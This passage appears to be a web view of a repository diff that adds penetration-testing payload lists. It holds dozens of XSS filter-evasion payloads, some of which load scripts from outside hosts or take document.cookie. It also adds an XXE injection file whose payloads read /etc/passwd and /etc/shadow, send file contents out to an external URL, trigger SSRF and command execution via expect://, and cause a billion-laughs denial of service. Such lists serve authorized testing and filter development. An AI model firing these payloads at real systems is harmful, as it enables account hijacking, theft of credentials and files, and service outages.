<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
|
||||||
|
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
|
||||||
|
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
|
||||||
|
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
|
||||||
|
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
|
||||||
|
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
|
||||||
|
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
|
||||||
|
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||||
|
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<A HREF="http://66.102.7.147/">XSS</A>
|
||||||
|
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
|
||||||
|
<A HREF="http://1113982867/">XSS</A>
|
||||||
|
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
|
||||||
|
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
|
||||||
|
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
|
||||||
|
<iframe %00 src="	javascript:prompt(1)	"%00>
|
||||||
|
<svg><style>{font-family:'<iframe/onload=confirm(1)>'
|
||||||
|
<input/onmouseover="javaSCRIPT:confirm(1)"
|
||||||
|
<sVg><scRipt %00>alert(1) {Opera}
|
||||||
|
<img/src=`%00` onerror=this.onerror=confirm(1)
|
||||||
|
<form><isindex formaction="javascript:confirm(1)"
|
||||||
|
<img src=`%00`
 onerror=alert(1)

|
||||||
|
<script/	 src='https://dl.dropbox.com/u/13018058/js.js' /	></script>
|
||||||
|
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
|
||||||
|
<iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
|
||||||
|
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
|
||||||
|
"><h1/onmouseover='\u0061lert(1)'>%00
|
||||||
|
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||||
|
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
|
||||||
|
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
|
||||||
|
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
|
||||||
|
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
|
||||||
|
<iframe src=javascript:alert(document.location)>
|
||||||
|
<form><a href="javascript:\u0061lert(1)">X
|
||||||
|
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
|
||||||
|
<img/	  src=`~` onerror=prompt(1)>
|
||||||
|
<form><iframe 	  src="javascript:alert(1)" 	;>
|
||||||
|
<a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a
|
||||||
|
http://www.google<script .com>alert(document.location)</script
|
||||||
|
<a href=[�]"� onmouseover=prompt(1)//">XYZ</a
|
||||||
|
<img/src=@  onerror = prompt('1')
|
||||||
|
<style/onload=prompt('XSS')
|
||||||
|
<script ^__^>alert(String.fromCharCode(49))</script ^__^
|
||||||
|
</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(
|
||||||
|
�</form><input type="date" onfocus="alert(1)">
|
||||||
|
<form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
|
||||||
|
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
|
||||||
|
<iframe srcdoc='<body onload=prompt(1)>'>
|
||||||
|
<a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a>
|
||||||
|
<script ~~~>alert(0%0)</script ~~~>
|
||||||
|
<style/onload=<!--	> alert (1)>
|
||||||
|
<///style///><span %2F onmousemove='alert(1)'>SPAN
|
||||||
|
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1)
|
||||||
|
"><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
|
||||||
|
<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
|
||||||
|
<marquee onstart='javascript:alert(1)'>^__^
|
||||||
|
<div/style="width:expression(confirm(1))">X</div> {IE7}
|
||||||
|
<iframe/%00/ src=javaSCRIPT:alert(1)
|
||||||
|
//<form/action=javascript:alert(document.cookie)><input/type='submit'>//
|
||||||
|
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
|
||||||
|
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
|
||||||
|
</font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>
|
||||||
|
<a/href="javascript: javascript:prompt(1)"><input type="X">
|
||||||
|
</plaintext\></|\><plaintext/onmouseover=prompt(1)
|
||||||
|
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}
|
||||||
|
<a href="javascript:\u0061le%72t(1)"><button>
|
||||||
|
<div onmouseover='alert(1)'>DIV</div>
|
||||||
|
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
|
||||||
|
<a href="jAvAsCrIpT:alert(1)">X</a>
|
||||||
|
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
|
||||||
|
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
|
||||||
|
<var onmouseover="prompt(1)">On Mouse Over</var>
|
||||||
|
<a href=javascript:alert(document.cookie)>Click Here</a>
|
||||||
|
<img src="/" =_=" title="onerror='prompt(1)'">
|
||||||
|
<%<!--'%><script>alert(1);</script -->
|
||||||
|
<script src="data:text/javascript,alert(1)"></script>
|
||||||
|
<iframe/src \/\/onload = prompt(1)
|
||||||
|
<iframe/onreadystatechange=alert(1)
|
||||||
|
<svg/onload=alert(1)
|
||||||
|
<input value=<><iframe/src=javascript:confirm(1)
|
||||||
|
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
|
||||||
|
http://www.<script>alert(1)</script .com
|
||||||
|
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>
|
||||||
|
<svg><script ?>alert(1)
|
||||||
|
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
|
||||||
|
<img src=`xx:xx`onerror=alert(1)>
|
||||||
|
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
|
||||||
|
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
|
||||||
|
<math><a xlink:href="//jsfiddle.net/t846h/">click
|
||||||
|
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
|
||||||
|
<svg contentScriptType=text/vbs><script>MsgBox+1
|
||||||
|
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
|
||||||
|
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
|
||||||
|
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
|
||||||
|
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
|
||||||
|
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
|
||||||
|
<object data=javascript:\u0061le%72t(1)>
|
||||||
|
<script>+-+-1-+-+alert(1)</script>
|
||||||
|
<body/onload=<!-->
alert(1)>
|
||||||
|
<script itworksinallbrowsers>/*<script* */alert(1)</script
|
||||||
|
<img src ?itworksonchrome?\/onerror = alert(1)
|
||||||
|
<svg><script>//
confirm(1);</script </svg>
|
||||||
|
<svg><script onlypossibleinopera:-)> alert(1)
|
||||||
|
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
|
||||||
|
<script x> alert(1) </script 1=2
|
||||||
|
<div/onmouseover='alert(1)'> style="x:">
|
||||||
|
<--`<img/src=` onerror=alert(1)> --!>
|
||||||
|
<script/src=data:text/javascript,alert(1)></script>
|
||||||
|
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
|
||||||
|
"><img src=x onerror=window.open('https://www.google.com/');>
|
||||||
|
<form><button formaction=javascript:alert(1)>CLICKME
|
||||||
|
<math><a xlink:href="//jsfiddle.net/t846h/">click
|
||||||
|
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
|
||||||
|
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
|
||||||
|
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
|
||||||
|
```
|
||||||
|
|
||||||
|
## OWASP XSS Evasion Cheat Sheet
|
||||||
|
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
|
141
more_payloads/xxe-injection-payloads.md
Normal file
141
more_payloads/xxe-injection-payloads.md
Normal file
|
@ -0,0 +1,141 @@
|
||||||
|
# XML External Entity (XXE) Injection Payloads
|
||||||
|
|
||||||
|
* XXE : Classic XXE
|
||||||
|
```
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE data [
|
||||||
|
<!ELEMENT data (#ANY)>
|
||||||
|
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||||||
|
]>
|
||||||
|
<data>&file;</data>
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo ANY >
|
||||||
|
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo ANY >
|
||||||
|
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo ANY >
|
||||||
|
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: Basic XML Example
|
||||||
|
```
|
||||||
|
<!--?xml version="1.0" ?-->
|
||||||
|
<userInfo>
|
||||||
|
<firstName>John</firstName>
|
||||||
|
<lastName>Doe</lastName>
|
||||||
|
</userInfo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: Entity Example
|
||||||
|
```
|
||||||
|
<!--?xml version="1.0" ?-->
|
||||||
|
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
|
||||||
|
<userInfo>
|
||||||
|
<firstName>John</firstName>
|
||||||
|
<lastName>&example;</lastName>
|
||||||
|
</userInfo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: File Disclosure
|
||||||
|
```
|
||||||
|
<!--?xml version="1.0" ?-->
|
||||||
|
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
|
||||||
|
<userInfo>
|
||||||
|
<firstName>John</firstName>
|
||||||
|
<lastName>&ent;</lastName>
|
||||||
|
</userInfo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: Denial-of-Service Example
|
||||||
|
```
|
||||||
|
<!--?xml version="1.0" ?-->
|
||||||
|
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
|
||||||
|
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
|
||||||
|
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
|
||||||
|
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||||
|
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||||
|
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||||
|
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||||
|
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||||
|
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||||
|
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||||
|
<tag>&lol9;</tag>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: Local File Inclusion Example
|
||||||
|
```
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo (#ANY)>
|
||||||
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: Blind Local File Inclusion Example (When first case doesn't return anything.)
|
||||||
|
```
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo (#ANY)>
|
||||||
|
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
|
||||||
|
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: Access Control Bypass (Loading Restricted Resources - PHP example)
|
||||||
|
```
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
|
||||||
|
<foo><result>∾</result></foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE:SSRF ( Server Side Request Forgery ) Example
|
||||||
|
```
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT foo (#ANY)>
|
||||||
|
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: (Remote Attack - Through External Xml Inclusion) Exmaple
|
||||||
|
```
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE lolz [
|
||||||
|
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
|
||||||
|
<lolz><lol>3..2..1...&test<lol></lolz>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: UTF-7 Exmaple
|
||||||
|
```
|
||||||
|
<?xml version="1.0" encoding="UTF-7"?>
|
||||||
|
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
|
||||||
|
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||||
|
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: Base64 Encoded
|
||||||
|
```
|
||||||
|
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: XXE inside SOAP Example
|
||||||
|
```
|
||||||
|
<soap:Body>
|
||||||
|
<foo>
|
||||||
|
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
|
||||||
|
</foo>
|
||||||
|
</soap:Body>
|
||||||
|
```
|
||||||
|
|
||||||
|
* XXE: XXE inside SVG
|
||||||
|
```
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||||
|
<image xlink:href="expect://ls"></image>
|
||||||
|
</svg>
|
||||||
|
```
|
Loading…
Reference in a new issue